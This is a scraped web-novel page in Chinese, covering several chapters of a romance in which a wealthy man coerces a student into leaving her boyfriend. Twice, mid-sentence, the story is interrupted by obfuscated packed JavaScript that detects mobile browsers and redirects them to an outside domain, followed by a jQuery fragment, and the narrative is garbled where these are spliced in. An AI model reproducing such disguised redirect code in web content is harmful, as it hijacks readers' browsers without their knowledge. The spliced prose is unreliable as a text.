程映微看着那行冷冰冰的文字,眼前又浮现出之前在许颜姣的手机里看到过的画面。再联想到宋丞近日以来对她的忽略和冷淡,心已然凉了半截。 输入框里的文字删了又删,最终回了句:【不用了,你忙你的就好。】 宋丞回给她一个问号,【你是不是在生我的气?】 半晌,又发来一句:【映微,我觉得我们之间可能有些误会,等你回来了我们好好聊一聊,好吗?】 程映微看着手机屏幕,纠结许久,还是心软妥协,简短回复道:【好。】 次日,程映微搭乘高铁返京。 到了出站口,她踮起脚尖看了又看,始终没能在人群中找到宋丞的身影。拿出手机,正准备给他打电话,来电铃声却先一步响了起来。 看了眼,是个陌生号码。 她疑惑地按了接听:“您好?” 那边笑着回应:“程小姐,是我,白勇。” “白叔?”四周太吵,程映微寻了个人少的角落站定,提声问道,“您有事吗?” 那人没有一句废话,直入主题:“廖先生的车已经在地下停车场等着您了,您搭乘电梯下到负一楼,会有司机在出口接您。” 她嘴唇张了张,足足用了几秒钟才接收到这一庞大的信息量。 大脑空白一瞬,她看了眼时间,拖着箱子慌忙跑向电梯,气喘吁吁地说:“我这就过去了。” 电梯下行一层,到了-1楼,果真看见一个西装革履的年轻男人站在门外。 那人她认得,是上次送她去御景华府的那个司机。 男人冲她笑了笑,接过她的行李箱,领着她往前走:“先生已经等了您许久,您直接上车就行,我去给您放置行李。” 程映微迟疑着上前,刚靠近后排车门,车窗便自动降下来,廖问今坐在靠左的位置,依旧是干练得体的打扮,从头精致到脚,连发丝都梳得一丝不苟,像是从杂志封面抠下来的时尚男模。 思绪跑偏了几秒,她凝神,略略低下身,道了句:“廖先生,您回来了。” 那人看她一眼,按下手边的按钮,“上来说话。” 伴随“咔嚓”一声,她那一侧的车门自动升了起来,程映微被这一新奇操作吸引了一秒的注意力,很快便回过神,婉拒:“谢谢廖总。我就不上去了,我还得回学校呢。” “我知道。”他说,“上车,我送你。” 她始终坚持:“不用了,我可以自己回去。” 闻言,车里的人轻笑一声,一双墨色瞳仁紧盯着她,似是要将她穿透:“映微,一个多月不见,我特意赶来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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廖问今并不打算就此放过她,宽阔的掌心顺势下移,落在她的后腰,“看样子,你们之间的事情还没处理好?” 另一只手放在她的脖颈,指尖轻抚着她的下颌,“我快没有耐心了,映微。” 程映微被他按在怀里,掌心抵在他胸膛,试图拉开一些距离,作用却微乎其微。二人之间力量悬殊太大,她根本无从抵抗。 手机还在持续不断地振动,而她已经没有功夫去理会。 看着对面男人近在咫尺的面庞,感受到他温热的呼吸,程映微掌心溢出了汗,指尖下意识攥紧他的衣角,昂贵的西装面料被她抓出道道褶皱。 可对面的人似乎毫不在意,手指从她发间穿过,低下头,冰凉的唇印在她的额头,自顾自地开口:“都已经到了这个地步,你那位男友究竟是个什么货色,你还没看明白吗?” 程映微伏在他怀里,无法动弹,感觉到头顶轻盈湿润的气息,她心尖颤了颤,耳廓红得像是要滴出血。 又听见他问:“该怎么做,想清楚了吗?” 程映微心里很明白。 她若不表态,他是不会放她走的。 只能暂且妥协,努力平复着呼吸,尽量平静地开口:“我会跟他说清楚的。” 扼在她腰间的那只手终于松开,廖问今满意地笑了笑,低头吻在她发烫的耳尖,丢给她三个字:“断干净。” 她屏住呼吸,艰难地出声:“……好。” 15. 合谋 回到学校,程映微刚把箱子搬进宿舍楼,就接到宋丞的电话。 他嗓音嘶哑,听起来有些疲惫:“你到学校了?” “嗯。”程映微心事重重,此刻才回想起来,刚才在回来的路上,廖问今一直紧握她的手将她揽在怀里,姿态亲昵。她不敢胡乱动弹,手机也开了静音扔在一旁,以至于宋丞持续不断地打来电话,她却迟迟没有接听。 电话那头安静一瞬,宋丞又问:“几点到学校的?” “刚到,没多久。” “我在你宿舍楼下,下来见一面吧,我有话要对你说。”他并未发脾气,敛着声,平静地说。 “好。”程映微挂了电话,将还未收拾好的行李归拢到一旁,套上大衣匆匆下楼。 二月中旬,隆冬已过,气候悄然升温,校园里的残雪却还未融化干净,左一滩右一滩的白色看起来格外扎眼。 两人在宿舍楼下相对而立,中间隔开一段距离,看起来不再似从前那般亲密。 沉默许久,对面的男生终于开口:“说好了我去接你,为什么不等我一起回学校?” “没有为什么,我就是觉得很累,想一个人静静地待一会儿。”程映微避开他的视线,低声说。 “那你也该提前告诉我一声。”宋丞稍稍放大了声量,神情变得严肃,“我大老远的跑去接你,结果你一声不吭自己先回来了,你觉得合适吗?” 程映微抬起头,极其平静地看着他:“那你呢?你最近的所作所为,你自己认为合适吗?” “什么意思?”宋丞脸色微变,“你指的是我没能陪你回铜陵过年?所以你是为了这个跟我生气,闹脾气?” 程映微摇摇头,眼眶已然泛红:“我觉得很累,不想再提前这些事情了。” 她心绪凌乱,耳边翻来覆去都是廖问今的声音,是他将她禁锢在怀里,落在她耳畔的那句:断干净。 若是不照做,他会做出什么疯狂的举动,她根本不敢想。 程映微低头,陷入沉默,手指攥紧大衣边角,片刻后又松开。她讲话带着鼻音,语气也变得酸涩:“宋丞,我仔细想过了,既然我们都有自己的事情要忙,也做不到相互体谅,那不如就干脆一点,别再浪费彼此的时间了……” “你要跟我提分手,对吗?”宋丞打断她,直截了当地问道。 刚才回来的路上,他一颗心剧烈地跳个不停,早有预感她会这样说。 他侧过头,低垂下来的视线紧锁在她身上,思忖片刻,又问:“就因为我寒假没陪你回家?” “当然不止因为这些。”程映微吸了吸鼻子,打开手机,从相册里找到那段视频。 视频是一个多月前许颜姣发给她的,说是万一日后吵架闹分手,这玩意儿指定能用得上,让她好好保存。 她深吸一口气,将视频点开,播放给对面的人看:“你寒假留在京市,是为了这个女生吗?” 宋丞接过手机,目光落在视频上时,明显怔了怔。许久才回忆起来,这是年前在新天地商厦那边和客户聚餐的那次。视频里亲昵挽着他胳膊的那个女孩,是合作方老总的女儿,名字叫顾杳。 他眉头微蹙,眼中闪过一丝疑惑,很快又淡去。 程映微默默观察着他的表情,又问:“也是因为她,你这段时间才一直忽略我疏远我,对吧?” “你想多了,映微。”宋丞看起来相当坦荡,神色淡然与她解释,“那个女生是合作方老总的女儿,是公司的重要客户,当然要好好招待。” 觉得不对劲,他又追问:“你从哪里弄来的视频?这个拍摄角度,看起来不像正经拍摄,反倒像是偷拍。” “这重要吗?”程映微刻意避开了许颜姣的名字,生怕连累到她,“这是一个校友拍下来发给我的,人家不过是凑巧看到而已。” “还有。”她提出视频里的可疑之处,“你说那个女孩是你的客户,可你们看起来很熟络,根本不像是第一天认识。” 宋丞没遮掩,如实说:“是在两个月前认识的。” “那时我和领导一起参加品牌推介会,顾小姐是投资方代表,我们确实因为工作短暂接触过,但是真的不熟。” “那天聚餐,我也没想到她会坐在我身边,也许是喝了酒的缘故,她头脑不清醒,才会拉着我的胳膊不放。” 宋丞上前一步,轻轻握住她的手,低头看她,眸中的认真不像是假的:“映微,事情真的不是你想的那样,你不能凭借一段掐头去尾的视频去判定事情的真相,更不该相信旁人的一面之词。” “我们在一起这么久,我是什么样的人,你难道还不清楚吗?” 天气实在太冷,程映微吸了吸鼻子,又问,“那后来呢?你明明说好陪我回铜陵过年,临出发前却告诉我你把票退了,要留在公司加班。我回铜陵呆了半个月,你也没有主动联系过我,直到假期结束才给我发了第一条消息。” “宋丞,你以前从来不会这样的。”她失望地看着他。 见她眼睛噙着委屈的泪,宋丞凑过去抱她,将人揽进怀里,“这段时间我忙于工作,确实没有顾虑到你的感受,让你受委屈了。” “映微,这个机会对我而言来之不易,我实在太想做好自己的分内工作,拿到转正名额,所以才会这么拼。”他说,“你相信我,只要我日后顺利入职,一切都会好起来的,我会抽出更多的时间来陪你。” “我们别吵架了,好不好?” 感受到他周身炙热的温度,闻到他身上那股熟悉干净的气味,程映微下意识地点了点头。 凝思片刻,又用力摇了摇头。 想到廖问今给她设定了期限,让她尽快分手,她又开始惴惴不安。原本构思好的话堵在喉咙里,怎么也说不出口。 宋丞看出她的欲言又止,担忧地问道:“你今天是怎么了?好像一直不大对劲。” “没有,就是有点累。”程映微缩回被他握着的手,抬起头,勉强扯唇笑了笑,“我感冒了有点不舒服,就先回去补觉了。” 回到寝室,程映微拿着手机去到阳台,带上门。 纠结许久,还是拨通了廖问今的号码。 听着手机里持续不断的“嘟”声,她意外地发现,自己居然已经将他的号码背下来,以至于根本不用翻看电话簿,就能流畅地摁出这一串数字。 电话很快接通,那边依旧是闲适慵懒的口吻,轻笑着问:“这么快就解决好了?” “没有。”程映微低声说,“对不起,廖总,我不能听你的。” 那人嗓音瞬间冷了几分:“什么意思?” “廖总,我不知道你为什么一定要逼我分手。我尝试着去理解了,我也试过了,但我真的做不到。” 程映微一颗心提到了嗓子眼,不安地说着违逆他的话,手指紧紧攥着睡衣边角,快要将那片布料扯烂。 “我不能和宋丞分手。至于他能不能留在公司,本就不是我能决定的事情。” “一切听天由命吧。” 电话那头沉寂片刻,募地发出一声闷笑,混合着兹兹电流声一道传来,听得人毛骨悚然。 廖问今声音喑哑,沉声道:“好,记住你今天说的话。” “日后若是后悔了,不要哭着回来求我。” 他站在落地窗前,听见女孩紧张的呼吸声,唇角扬了扬,没再多说什么,直接滑动屏幕,结束了通话。 看着窗外清冷萧条的街道,廖问今一时分了神,眼前渐渐浮现出数月前发生的事情。 两个月前,宋丞陪同公司领导参加新一季度的产品推介会,并且得到一个难得的机会,围绕着产品宣发等内容上台发表了一段演讲。 宋丞全程脱稿,逻辑缜密,严谨程度和专业性一点不输在公司辛勤耕耘多年的老员工,意料之外的赢得了台下阵阵掌声。 也正是因为这次机会,导致他被坐在台下的合作方千 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447698|185170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金一眼相中,邀他参加几大品牌联合举办的晚宴,从而进一步相识。 那天晚上,廖问今也在宴会现场。作为蓬飞科技总裁沈玉泽的发小,同时也是公司股东,他自然也受到了邀请,作为座上宾出席晚宴。 那天廖问今去得很晚,在大厅里稍作停留,与来往的宾客权贵打过招呼,便准备往二楼包厢去。 走到一半,一道眼熟的身影倏然出现在视野里。 他定睛看了看,那人居然是程映微的男朋友,那个一直吃着软饭却不自知的宋丞。 此刻,宋丞正穿着一身得体的西装,手持一杯香槟,同一个美艳高挑的女人站在一起聊天。 那女人廖问今认识,却不太熟。 是顾氏集团老总的千金,顾家最小的女儿,顾杳。 他看着不远处相谈正欢的两个身影,觉得分外有趣,指尖轻挲着下巴,眼睛微眯起来,目光渐渐变得幽深。 一旁传来脚步声,继而一道清润嗓音在身后响起,扰乱他的思绪。 “廖总怎么不去楼上vip客房休息,反倒在这里站着?” 廖问今回过头,发现从自己斜后方缓缓走来一个高大清瘦的人影。 是许久不见的钟晚卿。 上次见他,貌似还是在会展中心,他从彭维手里救下程映微的那次。 廖问今记得很清楚,那时钟晚卿将人揽在怀里,眼里自然流露的担忧和心疼让他十分不爽。 盯着他看了几秒,他懒洋洋笑道:“钟少今天怎么一个人?秦小姐没跟你一起过来?” “她去卫生间了。”钟晚卿说。 视线朝着廖问今刚刚紧盯着的那个方向看过去,宋丞和顾杳还站在原地,举着酒杯聊得十分投缘。 “那个年轻男孩,貌似是上次那位程小姐的男朋友吧?”钟晚卿笑着开口。 又看向一侧的女孩,“旁边那女的是……顾杳?” 廖问今看向他,眉梢扬了扬:“你和她很熟?” “顾杳是端雅的大学同学,从前她们同学聚会,我陪着一起去过,有幸见过几面。”钟晚卿说,“不过话说回来,我看那个宋丞,倒是同那位顾小姐挺般配的。” 他细细观察着廖问今的表情,故作不经意地添上一句,“他和其他女孩走得这么近,也不知程小姐看到了会不会吃醋?” 廖问今闻言,目光悄然黯淡下来,敛住笑意。深思一阵,问道:“钟少怎么对程小姐的事情了解得这么清楚?” “不太清楚,只是上次在会展中心,无意间撞见程小姐被彭维欺负,好心拉了她一把。她手机掉在地上,屏保亮起来,正好是她和那个男生的合影。”钟晚卿说。 他语气平平,毫无波澜,看起来确实像是那么回事。 廖问今似笑非笑地看着他,眸色愈发黝暗,像是冬日里被雾气笼罩的寒潭,深不见底。 视线一寸寸扫过对面男人那张立体精致的脸,募地吐出一句:“我看钟少的五官轮廓,倒是和程小姐有些相像。” 尤其是那双棕褐色的,微微上挑的眼睛。 沉静之中掺杂着些许不易察觉的魅惑,连看人的神情都如出一辙的相似,很难让人相信这是巧合。 钟晚卿怔愣一瞬,眼底闪过轻微的诧色,又很快掩去。紧绷的唇线重新舒展开来,笑道:“那我和程小姐倒真是有缘,看来是该好好认识认识,交个朋友了。” 他玩笑着将话题轻松揭过,廖问今心存疑惑,却没再继续追问。 一旁有侍者经过,廖问今朝那人招了招手,侍者立马顿步,将托盘里的香槟取出,递给他们一人一杯。而后微微鞠躬,转身走了。 廖问今手指轻托着杯底,缓缓晃动着杯中液体,眼睛依旧盯着楼下那两人。 片刻后,将杯子递到唇边,略略仰起头,一饮而尽。 细品着口中清甜的酒香,他瞟向身旁的人,悠悠开口:“钟少,有没有兴趣做个交易?” 16. 抗拒 三月初,一场凛冽的倒春寒过后,气温悄然攀升,万物终于有了回春之势。 宿舍楼下的迎春花早早发了新芽,现下正开得旺盛,金灿灿的花瀑垂落下来,风一吹便随风浮动,携来清香阵阵。 傍晚时分,程映微抱着琴谱从花坛旁路过,余光瞥见那一片惹眼的金黄,一时驻足,拿出手机拍了几张照片。 她站在树荫下,挑选了几张好看的照片准备发朋友圈,忽然手机振了振,弹出一条微信消息。 点开看了眼,是远在铜陵的邻居,庄阿姨发来的:【映微,你家里出了点急事,现在方便接电话吗?】 读完信息,程映微心头一惊,立马拨过去,问道:“庄姨,我家里怎么了?是不是我爸爸出什么事了?” “哎呀,不是你爸,是你妈妈。”庄姨在电话里大致说了下情况。 徐荞英是在昨天下午工作时突然晕倒,同事打了120将她送到医院,检查出来是腰椎间盘突出压迫了神经,还伴有腰椎滑脱的症况,医生说需要尽快进行手术,至于后续如何,还得留院观察。 “但你家这个情况……”庄姨欲言又止,“你妈妈就那么点死工资,平时存的钱都花在你爸身上了,她哪里还有闲钱给自己治病啊?” 程映微大脑一片空白。 从前她只知道母亲时常腰疼,也曾去医院做过全面检查,那时并未查出什么毛病,医生也说不打紧,只叮嘱她平日里注意修养,多用药敷一敷就好了。 那时她只当这是小毛病,没太在意,以为多多休息就能康复。 可后来程斌出了事,又生了病卧床在家,家里的担子便全部落在徐荞英一人身上。她操劳得越多,久而久之,腰上的问题也愈加严重,又一直拖着舍不得花钱医治,这才拖出了并发症。 “我知道了庄姨,辛苦您照顾一下我妈妈,我去想办法筹钱,等我筹到钱就立马回铜陵看她。”程映微一口气说完,直接挂断了电话。 她根本没有时间思考,也没有时间悲春伤秋,只能逼迫自己尽快冷静下来,将卡里仅有的五千块钱给庄姨转了过去,让她代缴母亲的住院费用,剩下的钱她再另外想办法。 怀揣着太多心事,她今日注定无法再去兼职,只能打电话给吴恙请假。 好在吴恙通情达理,立马批准了她的假条,又给她转了两千块钱,让她先拿着救急,不必急着还。 初春的风携着暖意吹拂而来,程映微坐在路边的长椅上,夕阳照在她的脸上身上,将她白皙的脸颊映成橘粉色。可她却感觉不到丝毫暖意,依旧手脚冰凉,浑身发冷。 程映微握紧手机,焦急到眼眶里隐隐有了泪痕。在通讯录里翻找了一通,思来想去,还是打给了宋丞。 她在内心组织着措辞,心想该如何开口才不显得唐突。可等待许久,宋丞的电话一直占线,一连试了几次都是如此。 她只好放弃,又打给了钟晚卿。 这次电话很快接通,对面的人轻咳一声,清润温和的声音响在耳侧:“怎么这个时间打过来?” 程映微坐直了身体,没有任何铺垫,直接开口:“哥哥,您能不能借我点钱?大概十万左右。” 庄姨在电话里提到过,医生预估的手术费用,再加上术前各项检查以及术后治疗,少说也得十万。职工医保固然可以报销一部分,但零零总总加起来,也是个不小的数目。十万块钱已经是个相当保守的数字。 她握紧手机,掌心溢出的汗濡湿了屏幕,声音颤抖却不自知:“我妈妈生病了,需要尽快做手术,可我身上真的没有多余的钱了。哥哥,您能不能帮帮我?” 电话那头,钟晚卿正坐在办公室里审批文件。他停下手头的事情,耐心听她说完,沉吟片刻,温声开口:“可以。但我得把话说在前面。” “晚吟,我可以出钱给你养母看病。她的手术费用,包括后期的住院费和治疗费,我都包了。但你也得答应我一个条件。” 终于看到一丝希望,程映微激动地问:“什么条件?” “我会往你养母的账户里打上一笔钱,钱一到账,你立刻和程家人断绝关系,以后不许再和他们来往。”钟晚卿压低了声量,嗓音也不似刚才那般温和,甚至趋近冰冷,“晚吟,你能做到吗?” 程映微不敢相信,这话是从钟晚卿的口中说出来的。她不明白,他为什么要在这种时候提出如此过分的要求。 哑然许久,她含泪问道:“您一定要这样吗?” “你也可以有其他选择。”钟晚卿揉着眉心,听见她略带哭腔的声音,胸口有些不适,却又不得不狠下心,继续开口,“上次在会展中心,我看那位廖总好像对你很上心,这段时间你们也走得挺近,不是么?” “或许你可以找他帮忙,我想他应该很乐意帮助你。” 待他说完,程映微脸上的神情僵得彻底。 她不明白这段日子究竟发生了什么。 之前钟晚卿明明不许她和廖问今走得太近,甚至让她小心他远离他。怎么现下又变了一套说辞,像是在故意引导她去找廖问今帮忙? 电话两端一片沉寂,无人开口。 指尖在平整的纸页表层按出了褶皱,片刻后又被抚平。钟晚卿看了眼腕表上的时间,不再与她僵持下去,轻声说道:“晚吟,你好好考虑一下我的提议,想好了给我答复。” “我还有事,先挂了。” 程映微没想到,这一通电话会将事情朝着她无法预料的方向推进。 她对钟晚卿的提议百思不得其解,正犹豫着如何抉择,手机却在此刻响起,屏幕上方显示着那个她早已烂熟于心的号码。 这电话来得如此及时,就如同上天刻意安排好一般。 她缓缓抬起头,看着天边即将逝去的那一抹夕阳,指尖无意识地按动屏幕,点了接听。 “嘟”的一声,电话接通,那边却一片安静,似是在等着她先开口。 程映微站起身,看着马路上飞驰而过的车辆,唇瓣翕动,声音低到几乎听不见:“廖先生。” …… 五分钟后,程映微寻到停在路边的那辆深灰色轿车,拉开车门坐进了副驾驶。 车里依旧是熟悉的冷调熏香,和他身上的气味极其相似。那味道强势地钻入鼻腔,连呼吸都变得冰凉。 程映微低着头,不敢望向身旁的人,却能感觉到那道目光正灼灼盯着自己。 果不其然,下一秒,廖问今便伸手,温热的掌心在她脑后揉了揉,又缓缓向下,轻捏住她的下颌,让她看向自己,“我是什么洪水猛兽?几天不见,连看我一眼都不敢了?” 时间紧迫,程映微没有心情配合他暧昧调情,拨开他的手问:“您忽然来找我,是有什么事吗?” 见她表现得抗拒,望向自己的眼神也是冷冰冰的没有丝毫温度,廖问今眼中笑意褪去,眸色渐渐暗下来。 他侧过身,修长的手臂向后伸,够到后排座位上的一个牛皮纸袋,朝她递了过去,微蹙着眉道:“这个,你好好看一看。” 程映微迟疑地接过,将纸袋背面的棉线一圈圈绕开,揭开封口,里面是薄薄的一张纸,上面亦是她眼熟的字迹。 定睛看了看,她才发现这是一封离职申请,而右下角的落款处,清清楚楚地写着宋丞的 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身边的人继续说道:“宋丞是我亲自向沈总举荐,调去蓬飞科技总部的。现在事情闹成这样,岂不是驳了沈总的面子,更是在变相打我的脸?” 廖问今平日里惜字如金,能够一次性说出这么多话来也实属难得。 他的意思程映微听明白了,大概就是宋丞犯了很严重的错误,即将面临公司处罚。 倘若她向廖问今服软,答应他若干条件,那么他和那位沈总或许就能放过宋丞,再给他一次将功补过的机会。 若放在平时,程映微或许会对他的话存有怀疑,甚至会亲自去找宋丞,验证事情的真假。 而现在,更加紧迫的事情摆在她眼前,对母亲的担忧几乎要压垮她紧绷的神经,她已经没有功夫再去管宋丞的事,给自己徒增麻烦。 程映微盯着那封辞职信看了许久,唇角扬起一抹很淡的笑,将它塞回牛皮纸袋里,封好,递还给身侧的人。 她看向窗外,再开口,嗓音发虚,像是极度疲累,提不起精气:“廖总,您说的这些我根本不知情,您要是实在气不过,就直接去找宋丞算账吧。我现在已经自顾不暇,没有精力再去管别人的事情。” “至于宋丞,他怎么选择都是他自己的事,与我无关,您别再为这事来找我了。”她说得干脆果断,不再似从前那般心软迟疑。 廖问今没想到她会全然置身事外,这与他的设想大相径庭。 程映微始终垂着眼,纤长的睫毛遮盖住眼睑,让他看不清她此刻的神情。 他细细揣摩着她的心思,掌心覆在她单薄的脊背,态度柔和不少:“这次,是下定决心要跟他提分手了?” “我不知道。”程映微躲开他,语气透着不耐,“我现在真的很忙,您要是没事的话,能不能别再打扰我了?” 她说完就要推门下车。 好在车门并未上锁,她试图扳动车门把手,居然轻易地打开了。 见她是真的要走,廖问今眼疾手快地拉住她,“你今天情绪不对,是不是发生了什么事?” “与你无关,请你松手。” 程映微用力扽了扽,甩开他的手,快步跑开了。 “啪”的一声,车门合上,男人脸上担忧错愕的表情被彻底隔绝在车内。 隔着车窗,廖问今透过后视镜看着那道身影渐渐走远,这才发现,她这几日貌似憔悴消瘦了不少。 胸口有些沉闷,他从衣兜里摸出手机,拨通了助理的电话。 “周谨,你去查一查,最近程小姐家里是不是出了什么事情?”